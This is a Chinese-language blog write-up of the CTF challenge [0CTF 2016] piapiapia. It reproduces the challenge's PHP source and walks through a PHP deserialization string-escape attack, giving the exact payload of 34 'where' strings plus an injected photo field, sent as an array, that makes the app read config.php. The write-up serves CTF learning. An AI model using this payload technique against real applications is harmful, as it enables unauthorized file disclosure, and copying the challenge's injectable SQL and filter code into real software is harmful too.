Z1d10tのBlog

A note for myself,have fun!

  1. 1. 捋清思路:
  2. 2. 解题:

[0CTF 2016]piapiapia

一道php反序列化字符串逃逸的题目,需要代码审计,tql!

捋清思路:

首先注册一个账号,然后登录,发现有个文件上传地方,刚开始以为是传木马,然后去连,getshell但后面发现新大陆,一顿操作之后,发现需要扫网站,下载源码。

下载下来6个php文件

在config.php中发现有flag 但是被删除了

img

然后register.php与index.php都是一些基础的注册账号与登录账号的操作

然后由index.php转向update.php

也就是我们看到的这个界面

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
//user是class.php中的user的一个对象
$user->update_profile($username, serialize($profile)); //我们的用户名admin和profile以序列化字符串形式传过去的
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

简单看一下就是通过post获取变量值,和一些简单的判断输入是否合法的语句,注意一下nickname(昵称)的判断

1
2
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

nickname不能超过10个字符,之后会提及

然后传入update_profile() 这里$profile数组是我们通过序列化传入的,这里很重要

1
$user->update_profile($username, serialize($profile)); //我们的用户名admin和profile以序列化字符串形式传过去的

之后传入class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
//class.php
<?php
require('config.php');

class user extends mysql{ //继承类的生成 mysql为父类 user为子类
private $table = 'users';

public function is_exists($username) {
$username = parent::filter($username);

$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}

}
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}

class mysql {
private $link = null;

public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");

return $this->link;
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) { //父类filer
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string); //一顿操作下来就是一个正则

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

直接定位到update_profile函数

1
2
3
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

这里通过继承类,调用父类的filter函数

1
2
3
4
5
6
7
8
9
public function filter($string) {     //父类filer
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string); //一顿操作下来就是一个正则

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

这里相当于一个过滤器

重点看第二个正则 如果我们传入的字符串有'select', 'insert', 'update', 'delete', 'where'则会被替换为hacker 至此暂时结束

当我们上传完update.php需要的信息之后会跳入profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

这里终于看到了我们常见的漏洞点file_get_contents()函数

先经过反序列化$profile数组

然后base64编码读出$profile['photo']

之前看到config.php中含有flag 那么我们可以让$profile['photo']=config.php不就可以拿到flag了

解题:

但是photo部分是文件上传部分,并不能直接让他等于config.php去拿到flag

这里就要用到反序列化字符串逃逸了

在整个过程中存在序列化与反序列化,我们可以在nickname部分构造出符合反序列化的字符串,在nickname存在config.php让其反序列化到后边的photo部分,相当于提前结束反序列化,让原本photo部分的反序列化部分丢失,从而达到使得$profile['photo']=config.php

那么我们需要在nickname序列化后的部分塞入";s:5:"photo";s:10:"config.php";}共33个字符

这里构造合法反序列化部分很巧妙

之前看代码它存在一个过滤器

1
2
3
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);

如果我们只是单纯把";s:5:"photo";s:10:"config.php";}这一部分塞入nickname那么它经过序列化后,再经过反序列化全部部分还是属于nickname部分,我们就需要在他序列化后构造让他字符串溢出,然后溢出部分就会到photo部分

我们可以让nickname=where然后序列化后经过过滤器where会被替换为hacker,where为5个字符,而hacker为6个字符,多出一个字符,就这样使得它在反序列时还是按照原本5个字符去反序列化,还有一个字符就溢出逃逸了。

可以简单借助下面的脚本理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function filter($string) { //父类filer
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string); //一顿操作下来就是一个正则


$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile = array("phone"=>"12345678912","email"=>"123@qq.com","nickname"=>"where","photo"=>"abc");
$a = serialize($profile);
echo $a;
echo "\n";
echo filter($a);
?>

输出:这里第二行hacker明明是6个字符但是在序列化字符串中还是显示5,那么多余出来的一个字符将会在反序列化过程中逃逸。

img

那么我们塞入字符串";s:5:"photo";s:10:"config.php";}是33个字符,则需要33个where

但是之前看到nickname部分不能超过10个字符

img

这里可以通过数组方式绕开正则匹配即nickename[]

这里$profile已经是一个数组了,如果数组里面再包含一个数组,那么序列化后的字符串稍有不同。

通过一个脚本来帮助理解:

1
2
3
4
<?php
$a = array("name"=>'Tom',"age"=>array(17));
echo serialize($a);
?>

输出:

img

会有花括号去包裹数组中的数组部分,那么我们在闭合nickname这部分时也需要特意构造一个右花括号去闭合,使其成为合法反序列化部分。

";}s:5:"photo";s:10:"config.php";}我们需要塞入34个字符

那么nickname就需要有34个where

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

其他部分任意

img

进入profile.php去解码这段base64

img

就可以拿到flag

img

本文最后更新于 天前,文中所描述的信息可能已发生改变